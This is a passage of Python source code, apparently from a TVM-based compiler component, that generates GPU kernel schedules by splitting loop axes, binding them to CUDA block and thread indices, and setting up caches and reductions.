# self.sch[shared].bind(yo, ty)
# self.sch[shared].bind(zo, tz)
# if do_vectorize:
# _, inner = self.sch[shared].split(spatial_axis[-4], factor=4)
# self.sch[shared].vectorize(inner)
def fuse_prologue(self):
if self.schedule_allreduce:
assert self.rf is not None
inner_most_pos = self.sch[self.rf].op.reduce_axis[-1]
for op in self.connected_set.prologue:
self.sch[op].compute_at(self.sch[self.rf], inner_most_pos)
else:
for op, master in self.connected_set.prologue.items():
inner_most_pos = self.sch[master].op.axis[-1]
self.sch[op].compute_at(self.sch[master], inner_most_pos)
def fuse_epilogue(self):
base = self.connected_set.base
assert self.ix is not None
inner_most_pos = self.ix
for op in self.connected_set.epilogue:
self.sch[op].compute_at(self.sch[base], inner_most_pos)
def unroll_loop(self):
kernel_scope = None
for candidate in [self.kernel_scope, self.bz, self.by, self.bx]:
if candidate is not None:
kernel_scope = candidate
break
if kernel_scope is not None:
base = self.connected_set.base
# self.space.add_unroll(self.name, default=[128, 256, 512, 1024, 1500])
# step, explicit = self.tuner.propose_unroll(self.name)
step, explicit = self.scheduler.schedule_unroll(self.name)
self.sch[base].pragma(kernel_scope, 'auto_unroll_max_step', step)
self.sch[base].pragma(kernel_scope, 'unroll_explicit', explicit)
class GPUScheduleMasterSet(PrimitiveGenerator):
"""
Schedule generator for connected set that
contains only one master node.
Args:
--------------------------
name: string
the namespace of this generator,
used for schedule space knob
subgraph: PyTIRSubGraph
connected_set: ConnectedSet
down_graph: dict of tensor to list of ops
this is used to get the consumer
operators of a tvm tensor
op_stat_dict: dict of operation to state
scheduler: Scheduler
"""
def __init__(self, name, subgraph, connected_set, down_graph, op_stat_dict, scheduler):
super(GPUScheduleMasterSet, self).__init__(connected_set, scheduler)
assert len(connected_set.master) == 1
self.name = name
self.subgraph = subgraph
self.op_stat_dict = op_stat_dict
self.down_graph = down_graph
self.read_shared_caches = {}
self.read_local_caches = {}
self.write_local_cache = None
# we know there is only one master here
# so if decide allreduce, then we do allreduce
self.schedule_allreduce = decide_allreduce(
subgraph, connected_set, down_graph)
# kernel scope
self.kernel_scope = None
# spatial axis
self.bx = None
self.by = None
self.bz = None
self.vx = None
self.vy = None
self.vz = None
self.tx = None
self.ty = None
self.tz = None
self.ix = None
self.iy = None
self.iz = None
# the extent of threads
self.ext_tx = -1
self.ext_ty = -1
self.ext_tz = -1
# reduce axis
self.rx_list = []
self.ry_list = []
self.rz_list = []
# if we do rfactor
self.rf = None
def generate(self, sch):
self.sch = sch
self.create_cache()
self.thread_block_decomposition()
self.schedule_reductive()
self.cache_fetch()
self.fuse_prologue()
self.fuse_epilogue()
# self.unroll_loop()
def create_cache(self):
if self.schedule_allreduce:
# currently, we don't consider cache for allreduce
tx = tvm.te.thread_axis("threadIdx.x")
masters = self.connected_set.master
for master in masters:
reduce_axis = self.sch[master].op.reduce_axis
# only rfactor the biggest reduce axis
to_sort = zip(reduce_axis, [to_int(x.dom.extent) for x in reduce_axis])
after_sort = list(sorted(to_sort, key=lambda x: x[1]))
axis = after_sort[-1][0]
# self.space.add_split(self.name, "tile_k", axis, nparts=2, filters=[[1, 1]], default=[[-1, 32], [32, -1]])
# factors = self.tuner.propose_split(self.name, "tile_k")
# self.space.add_rfactor(self.name)
# use_factor = self.tuner.propose_rfactor(self.name)
num_loops = len(reduce_axis)
extent = to_int(axis.dom.extent)
stat = self.op_stat_dict[master]
# self.num_add = 0
# self.num_mul = 0
# self.num_div = 0
# self.num_branch = 0
# self.num_logic = 0
# self.num_special = 0
flops = stat.num_add + stat.num_mul + stat.num_div
factors, use_factor = self.scheduler.schedule_allreduce(self.name, num_loops, extent, flops)
# TODO: why rfactor only takes tensor as inputs?
if use_factor:
outer, inner = self.sch[master].split(axis, factor=factors[1])
MF = self.sch.rfactor(master.output(0), inner)
self.ext_tx = factors[1]
else:
outer, inner = self.sch[master].split(axis, nparts=factors[0])
MF = self.sch.rfactor(master.output(0), outer)
self.ext_tx = factors[0]
self.rf = MF
self.tx = self.sch[master].op.reduce_axis[0]
self.sch[master].bind(self.tx, tx)
self.sch[MF].compute_at(self.sch[master], self.tx)
self.sch[master].set_store_predicate(tx.var.equal(0))
else:
# for all the input data, create cache
# for inp in self.subgraph.inputs.keys():
# inp_shared = self.sch.cache_read(inp, "shared", self.down_graph[inp])
# inp_local = self.sch.cache_read(inp_shared, "local", self.down_graph[inp])
# self.read_shared_caches[inp] = inp_shared
# self.read_local_caches[inp] = inp_local
# create cache for master node
masters = self.connected_set.master
for master in masters:
# TODO: what if more than one output?
local = self.sch.cache_write(master.output(0), "local")
self.write_local_cache = local
def thread_block_decomposition(self):
bx = tvm.te.thread_axis("blockIdx.x")
by = tvm.te.thread_axis("blockIdx.y")
bz = tvm.te.thread_axis("blockIdx.z")
vx = tvm.te.thread_axis("vthread")
vy = tvm.te.thread_axis("vthread")
vz = tvm.te.thread_axis("vthread")
tx = tvm.te.thread_axis("threadIdx.x")
ty = tvm.te.thread_axis("threadIdx.y")
tz = tvm.te.thread_axis("threadIdx.z")
# TODO: the logic of allreduce and non-allreduce are quite
# similar, we should write cleaner code in future.
# For now, just use the long code blocks.
if self.schedule_allreduce:
# base is the same as master
masters = self.connected_set.master
base = masters[0]
num_inputs = 1
org_spatial_axis = self.sch[base].op.axis
# do not care about axis with dim = 1
# spatial_axis = list(filter(lambda x: to_int(x.dom.extent) > 1, spatial_axis))
spatial_axis = []
left_axis = []
for x in org_spatial_axis:
if to_int(x.dom.extent) > 1:
spatial_axis.append(x)
else:
left_axis.append(x)
# make the kernel scope
# kernel_scope = spatial_axis[0]
# kernel_scope, left = self.sch[base].split(kernel_scope, nparts=1)
# spatial_axis[0] = left
# self.kernel_scope = kernel_scope
num_dim = len(spatial_axis)
if num_dim == 0:
ox, ix = self.sch[base].split(self.sch[base].op.axis[0], nparts=1)
vx, ix = self.sch[base].split(ix, nparts=1)
tx, ix = self.sch[base].split(ix, nparts=1)
self.bx = ox
self.vx = vx
self.tx = tx
self.ix = ix
self.sch[base].bind(self.bx, bx)
elif num_dim == 1:
# self.space.add_split(self.name, "tile_x", spatial_axis[0], nparts=2)
# factors = self.tuner.propose_split(self.name, "tile_x")
ext_x = to_int(spatial_axis[0].dom.extent)
factors, = self.scheduler.schedule_decomposition(
self.name, (ext_x,), 1, num_inputs, 1)
split_axis = []
axis = spatial_axis[0]
for f in factors[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis.append(outer)
split_axis.append(axis)
self.bx = split_axis[0]
self.ix = split_axis[1]
self.sch[base].bind(self.bx, bx)
elif num_dim == 2:
# self.space.add_split(self.name, "tile_y", spatial_axis[0], nparts=2)
# self.space.add_split(self.name, "tile_x", spatial_axis[1], nparts=2)
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[0].dom.extent)
ext_x = to_int(spatial_axis[1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), 1, num_inputs, 1)
split_axis_y = []
axis = spatial_axis[0]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.by = split_axis_y[0]
self.iy = split_axis_y[1]
self.bx = split_axis_x[0]
self.ix = split_axis_x[1]
self.sch[base].reorder(self.by, self.bx, *left_axis,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.by, by)
elif num_dim == 3:
# self.space.add_split(self.name, "tile_z", spatial_axis[0], nparts=2)
# self.space.add_split(self.name, "tile_y", spatial_axis[1], nparts=2)
# self.space.add_split(self.name, "tile_x", spatial_axis[2], nparts=2)
# factors_z = self.tuner.propose_split(self.name, "tile_z")
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_z = to_int(spatial_axis[0].dom.extent)
ext_y = to_int(spatial_axis[1].dom.extent)
ext_x = to_int(spatial_axis[2].dom.extent)
factors_x, factors_y, factors_z = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y, ext_z), 1, num_inputs, 1)
split_axis_z = []
axis = spatial_axis[0]
for f in factors_z[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_z.append(outer)
split_axis_z.append(axis)
split_axis_y = []
axis = spatial_axis[1]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[2]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = split_axis_z[0]
self.iz = split_axis_z[1]
self.by = split_axis_y[0]
self.iy = split_axis_y[1]
self.bx = split_axis_x[0]
self.ix = split_axis_x[1]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.iz, self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.bz, bz)
else:
# the dim number > 3
# find the smallest dims
to_sort = zip(
spatial_axis, [to_int(x.dom.extent) for x in spatial_axis])
# ascending
after_sort = list(sorted(to_sort, key=lambda x: x[1]))
outer_extent = reduce(lambda x, y: x * y, [x[1] for x in after_sort[:-2]], 1)
after_sort = [x[0] for x in after_sort]
# fuse the small axis together
# parallel them through block z dim
self.sch[base].reorder(*after_sort)
fuse_axis = self.sch[base].fuse(*after_sort[:-2])
# self.space.add_split(self.name, "tile_y", spatial_axis[-2], nparts=2)
# self.space.add_split(self.name, "tile_x", spatial_axis[-1], nparts=2)
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[-2].dom.extent)
ext_x = to_int(spatial_axis[-1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), outer_extent, num_inputs, 1)
split_axis_y = []
axis = after_sort[-2]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = after_sort[-1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = fuse_axis
self.by = split_axis_y[0]
self.iy = split_axis_y[1]
self.bx = split_axis_x[0]
self.ix = split_axis_x[1]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.bz, bz)
else: # non-allreduce
masters = self.connected_set.master
base = masters[0]
num_inputs = 1
org_spatial_axis = self.sch[base].op.axis
# do not care about axis with dim = 1
# spatial_axis = list(filter(lambda x: to_int(x.dom.extent) > 1, spatial_axis))
spatial_axis = []
left_axis = []
for x in org_spatial_axis:
if to_int(x.dom.extent) > 1:
spatial_axis.append(x)
else:
left_axis.append(x)
# make the kernel scope
# kernel_scope = spatial_axis[0]
# kernel_scope, left = self.sch[base].split(kernel_scope, nparts=1)
# spatial_axis[0] = left
# self.kernel_scope = kernel_scope
num_dim = len(spatial_axis)
if num_dim == 0:
ox, ix = self.sch[base].split(self.sch[base].op.axis[0], nparts=1)
vx, ix = self.sch[base].split(ix, nparts=1)
tx, ix = self.sch[base].split(ix, nparts=1)
self.bx = ox
self.vx = vx
self.tx = tx
self.ix = ix
self.sch[base].bind(self.bx, bx)
elif num_dim == 1:
# self.space.add_split(
# self.name, "tile_x", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# factors = self.tuner.propose_split(self.name, "tile_x")
ext_x = to_int(spatial_axis[0].dom.extent)
factors, = self.scheduler.schedule_decomposition(
self.name, (ext_x,), 1, num_inputs, 0)
self.ext_tx = factors[2]
split_axis = []
axis = spatial_axis[0]
for f in factors[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis.append(outer)
split_axis.append(axis)
self.bx = split_axis[0]
self.vx = split_axis[1]
self.tx = split_axis[2]
self.ix = split_axis[3]
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
elif num_dim == 2:
# self.space.add_split(
# self.name, "tile_y", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[1], nparts=4, default=[[-1, 2, 32, -1]])
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[0].dom.extent)
ext_x = to_int(spatial_axis[1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), 1, num_inputs, 0)
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_y = []
axis = spatial_axis[0]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.by, self.bx, *left_axis,
self.vy, self.vx,
self.ty, self.tx,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
elif num_dim == 3:
# self.space.add_split(
# self.name, "tile_z", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_y", spatial_axis[1], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[2], nparts=4, default=[[-1, 2, 32, -1]])
# factors_z = self.tuner.propose_split(self.name, "tile_z")
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_z = to_int(spatial_axis[0].dom.extent)
ext_y = to_int(spatial_axis[1].dom.extent)
ext_x = to_int(spatial_axis[2].dom.extent)
factors_x, factors_y, factors_z = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y, ext_z), 1, num_inputs, 0)
self.ext_tz = factors_z[2]
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_z = []
axis = spatial_axis[0]
for f in factors_z[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_z.append(outer)
split_axis_z.append(axis)
split_axis_y = []
axis = spatial_axis[1]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[2]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = split_axis_z[0]
self.vz = split_axis_z[1]
self.tz = split_axis_z[2]
self.iz = split_axis_z[3]
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.vz, self.vy, self.vx,
self.tz, self.ty, self.tx,
self.iz, self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
self.sch[base].bind(self.bz, bz)
self.sch[base].bind(self.vz, vz)
self.sch[base].bind(self.tz, tz)
else:
# the dim number > 3
# find the smallest dims
to_sort = zip(
spatial_axis, [to_int(x.dom.extent) for x in spatial_axis])
# ascending
after_sort = list(sorted(to_sort, key=lambda x: x[1]))
outer_extent = reduce(lambda x, y: x * y, [x[1] for x in after_sort[:-2]], 1)
after_sort = [x[0] for x in after_sort]
# fuse the small axis together
# parallel them through block z dim
self.sch[base].reorder(*after_sort)
fuse_axis = self.sch[base].fuse(*after_sort[:-2])
# self.space.add_split(
# self.name, "tile_y", spatial_axis[-2], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[-1], nparts=4, default=[[-1, 2, 32, -1]])
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[-2].dom.extent)
ext_x = to_int(spatial_axis[-1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), outer_extent, num_inputs, 0)
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_y = []
axis = after_sort[-2]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = after_sort[-1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = fuse_axis
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.vy, self.vx,
self.ty, self.tx,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
self.sch[base].bind(self.bz, bz)
def schedule_reductive(self):
if self.schedule_allreduce:
pass
else:
assert self.write_local_cache is not None
master = self.write_local_cache
masters = self.connected_set.master
base = masters[0]
# put the reductive into base loop nest
assert self.tx is not None
self.sch[master].compute_at(self.sch[base], self.tx)
# get all the reduce axis
reduce_axis = self.sch[master].op.reduce_axis
collectors = [self.rz_list, self.ry_list, self.rx_list]
ext_list = []
for i, axis in enumerate(reduce_axis):
ext_list.append(to_int(axis.dom.extent))
stat = self.op_stat_dict[base]
# self.num_add = 0
# self.num_mul = 0
# self.num_div = 0
# self.num_branch = 0
# self.num_logic = 0
# self.num_special = 0
flops = stat.num_add + stat.num_mul + stat.num_div
num_inputs = len(master.op.input_tensors)
factor_list = self.scheduler.schedule_reductive(self.name, tuple(ext_list), flops, num_inputs)
for i, axis in enumerate(reduce_axis):
# name = "tile_r"+str(i)
# self.space.add_split(self.name, name, axis, nparts=3)
# factors = self.tuner.propose_split(self.name, name)
factors = factor_list[i]
j = 0
for f in factors[:-1]:
outer, axis = self.sch[master].split(axis, nparts=f)
collectors[j].append(outer)
j += 1
collectors[j].append(axis)
inner_axis = self.sch[master].op.axis
self.sch[master].reorder(*self.rz_list, *self.ry_list, *self.rx_list, *inner_axis)
def cache_fetch(self):
# it's hard to know the extent of cache array
# so the schedule decision here may damage performance
# TODO: find better solutions
if self.schedule_allreduce:
return
else:
return
tx = tvm.te.thread_axis("threadIdx.x")
ty = tvm.te.thread_axis("threadIdx.y")
tz = tvm.te.thread_axis("threadIdx.z")
assert self.write_local_cache is not None
master = self.write_local_cache
candidates = self.rx_list + list(self.sch[master].op.axis)
num_reduce_list = []
num_spatial_list = []
for i, (tensor, shared) in enumerate(self.read_shared_caches.items()):
num_reduce_list.append(len(self.rx_list))
num_spatial_list.append(len(self.sch[master].op.axis))
# shared_pos_list, local_pos_list, do_vectorize_list = \
# self.scheduler.schedule_cache_pos(self.name, num_reduce_list, num_spatial_list)
shared_pos_list = [-1 for x in self.read_shared_caches]
local_pos_list = [-1 for x in self.read_shared_caches]
do_vectorize_list = [0 for x in self.read_shared_caches]
for i, (tensor, shared) in enumerate(self.read_shared_caches.items()):
local = self.read_local_caches[tensor]
# name = "cache_pos_"+str(i)
# self.space.add_cache_pos(self.name, name, num_candidates, 2)
# positions = self.tuner.propose_cache_pos(self.name, name)
# share_pos, local_pos = positions
# name = "vectorize_"+str(i)
# self.space.add_vectorize(self.name, name)
# do_vectorize = self.tuner.propose_vectorize(self.name, name)
share_pos = shared_pos_list[i]
local_pos = local_pos_list[i]
do_vectorize = do_vectorize_list[i]
self.sch[shared].compute_at(self.sch[master], candidates[share_pos])
self.sch[local].compute_at(self.sch[master], candidates[local_pos])
# cooperative fetch and vectorization
# spatial_axis = self.sch[shared].op.axis
# num_dim = len(spatial_axis)
# if num_dim == 1:
# if self.ext_tx < 0:
# self.ext_tx = 32
# outer, inner = self.sch[shared].split(spatial_axis[0], nparts=self.ext_tx)
# self.sch[shared].bind(outer, tx)
# if do_vectorize == 1:
# _, inner = self.sch[shared].split(inner, factor=4)
# self.sch[shared].vectorize(inner)
# elif num_dim == 2:
# if self.ext_tx < 0:
# self.ext_tx = 32
# if self.ext_ty < 0:
# self.ext_ty = power_of_x_near(2, math.ceil(1024 / self.ext_tx))
# xo, xi = self.sch[shared].split(spatial_axis[1], nparts=self.ext_tx)
# yo, yi = self.sch[shared].split(spatial_axis[0], nparts=self.ext_ty)
# self.sch[shared].reorder(yo, xo, yi, xi)
# self.sch[shared].bind(xo, tx)
# self.sch[shared].bind(yo, ty)
# if do_vectorize == 1:
# _, inner = self.sch[shared].split(xi, factor=4)
# self.sch[shared].vectorize(inner)
# elif num_dim == 3:
# if self.ext_tx < 0:
# self.ext_tx = 16
# if self.ext_ty < 0:
# self.ext_ty = 16
# if self.ext_tz < 0:
# self.ext_tz = power_of_x_near(2, 1024 // (self.ext_tx * self.ext_ty))
# xo, xi = self.sch[shared].split(spatial_axis[2], nparts=self.ext_tx)
# yo, yi = self.sch[shared].split(spatial_axis[1], nparts=self.ext_ty)
# zo, zi = self.sch[shared].split(spatial_axis[0], nparts=self.ext_tz)
# self.sch[shared].reorder(zo, yo, xo, zi, yi, xi)
# self.sch[shared].bind(xo, tx)
# self.sch[shared].bind(yo, ty)
# self.sch[shared].bind(zo, tz)
# if do_vectorize == 1:
# _, inner = self.sch[shared].split(xi, factor=4)
# self.sch[shared].vectorize(inner)
# else:
# if self.ext_tx < 0:
# self.ext_tx = 16
# if self.ext_ty < 0:
# self.ext_ty = 8
# if self.ext_tz < 0:
# self.ext_tz = power_of_x_near(2, math.ceil(1024 / (self.ext_tx * self.ext_ty)))
# xo, xi = self.sch[shared].split(spatial_axis[-1], nparts=self.ext_tx)
# yo, yi = self.sch[shared].split(spatial_axis[-2], nparts=self.ext_ty)
# zo, zi = self.sch[shared].split(spatial_axis[-3], nparts=self.ext_tz)
# self.sch[shared].reorder(zo, yo, xo, zi, yi, xi, *spatial_axis[:-3])
# self.sch[shared].bind(xo, tx)
# self.sch[shared].bind(yo, ty)
# self.sch[shared].bind(zo, tz)
# if do_vectorize == 1:
# _, inner = self.sch[shared].split(spatial_axis[-4], factor=4)
# self.sch[shared].vectorize(inner)
def fuse_prologue(self):
if self.schedule_allreduce:
assert self.rf is not None
inner_most_pos = self.sch[self.rf].op.reduce_axis[-1]
for op in self.connected_set.prologue:
self.sch[op].compute_at(self.sch[self.rf], inner_most_pos)
else:
assert self.write_local_cache is not None
master = self.write_local_cache
inner_most_pos = self.sch[master].op.axis[-1]
for op in self.connected_set.prologue.keys():
self.sch[op].compute_at(self.sch[master], inner_most_pos)
def fuse_epilogue(self):
assert len(self.connected_set.epilogue) == 0
def unroll_loop(self):
kernel_scope = None
for candidate in [self.kernel_scope, self.bz, self.by, self.bx]:
if candidate is not None:
kernel_scope = candidate
break
if kernel_scope is not None:
base = self.connected_set.master[0]
# self.space.add_unroll(self.name, default=[128, 256, 512, 1024, 1500])
# step, explicit = self.tuner.propose_unroll(self.name)
step, explicit = self.scheduler.schedule_unroll(self.name)
self.sch[base].pragma(kernel_scope, 'auto_unroll_max_step', step)
self.sch[base].pragma(kernel_scope, 'unroll_explicit', explicit)
class GPUScheduleBaseSet(PrimitiveGenerator):
"""
Schedule generator for connected set that
contains only base node.
Args:
--------------------------
name: string
the namespace of this generator,
used for schedule space knob
connected_set: ConnectedSet
scheduler: Scheduler
"""
def __init__(self, name, connected_set, scheduler):
super(GPUScheduleBaseSet, self).__init__(connected_set, scheduler)
self.name = name
# kernel scope
self.kernel_scope = None
# spatial axis
self.bx = None
self.by = None
self.bz = None
self.vx = None
self.vy = None
self.vz = None
self.tx = None
self.ty = None
self.tz = None
self.ix = None
self.iy = None
self.iz = None
def generate(self, sch):
self.sch = sch
self.thread_block_decomposition()
self.fuse_prologue()
self.fuse_epilogue()
# self.unroll_loop()
def thread_block_decomposition(self):
bx = tvm.te.thread_axis("blockIdx.x")
by = tvm.te.thread_axis("blockIdx.y")
bz = tvm.te.thread_axis("blockIdx.z")
vx = tvm.te.thread_axis("vthread")
vy = tvm.te.thread_axis("vthread")
vz = tvm.te.thread_axis("vthread")
tx = tvm.te.thread_axis("threadIdx.x")
ty = tvm.te.thread_axis("threadIdx.y")
tz = tvm.te.thread_axis("threadIdx.z")
base = self.connected_set.base
num_inputs = len(base.input_tensors)
org_spatial_axis = self.sch[base].op.axis
# do not care about axis with dim = 1
# spatial_axis = list(filter(lambda x: to_int(x.dom.extent) > 1, spatial_axis))
spatial_axis = []
left_axis = []
for x in org_spatial_axis:
if to_int(x.dom.extent) > 1:
spatial_axis.append(x)
else:
left_axis.append(x)
# make the kernel scope
# kernel_scope = spatial_axis[0]
# kernel_scope, left = self.sch[base].split(kernel_scope, nparts=1)
# spatial_axis[0] = left
# self.kernel_scope = kernel_scope
num_dim = len(spatial_axis)
if num_dim == 0:
ox, ix = self.sch[base].split(self.sch[base].op.axis[0], nparts=1)
vx, ix = self.sch[base].split(ix, nparts=1)
tx, ix = self.sch[base].split(ix, nparts=1)
self.bx = ox
self.vx = vx
self.tx = tx
self.ix = ix
self.sch[base].bind(self.bx, bx)
elif num_dim == 1:
# self.space.add_split(
# self.name, "tile_x", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# factors = self.tuner.propose_split(self.name, "tile_x")
ext_x = to_int(spatial_axis[0].dom.extent)
factors, = self.scheduler.schedule_decomposition(
self.name, (ext_x,), 1, num_inputs, 0)
self.ext_tx = factors[2]
split_axis = []
axis = spatial_axis[0]
for f in factors[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis.append(outer)
split_axis.append(axis)
self.bx = split_axis[0]
self.vx = split_axis[1]
self.tx = split_axis[2]
self.ix = split_axis[3]
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
elif num_dim == 2:
# self.space.add_split(
# self.name, "tile_y", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[1], nparts=4, default=[[-1, 2, 32, -1]])
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[0].dom.extent)
ext_x = to_int(spatial_axis[1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), 1, num_inputs, 0)
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_y = []
axis = spatial_axis[0]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.by, self.bx, *left_axis,
self.vy, self.vx,
self.ty, self.tx,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
elif num_dim == 3:
# self.space.add_split(
# self.name, "tile_z", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_y", spatial_axis[1], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[2], nparts=4, default=[[-1, 2, 32, -1]])
# factors_z = self.tuner.propose_split(self.name, "tile_z")
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_z = to_int(spatial_axis[0].dom.extent)
ext_y = to_int(spatial_axis[1].dom.extent)
ext_x = to_int(spatial_axis[2].dom.extent)
factors_x, factors_y, factors_z = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y, ext_z), 1, num_inputs, 0)
self.ext_tz = factors_z[2]
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_z = []
axis = spatial_axis[0]
for f in factors_z[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_z.append(outer)
split_axis_z.append(axis)
split_axis_y = []
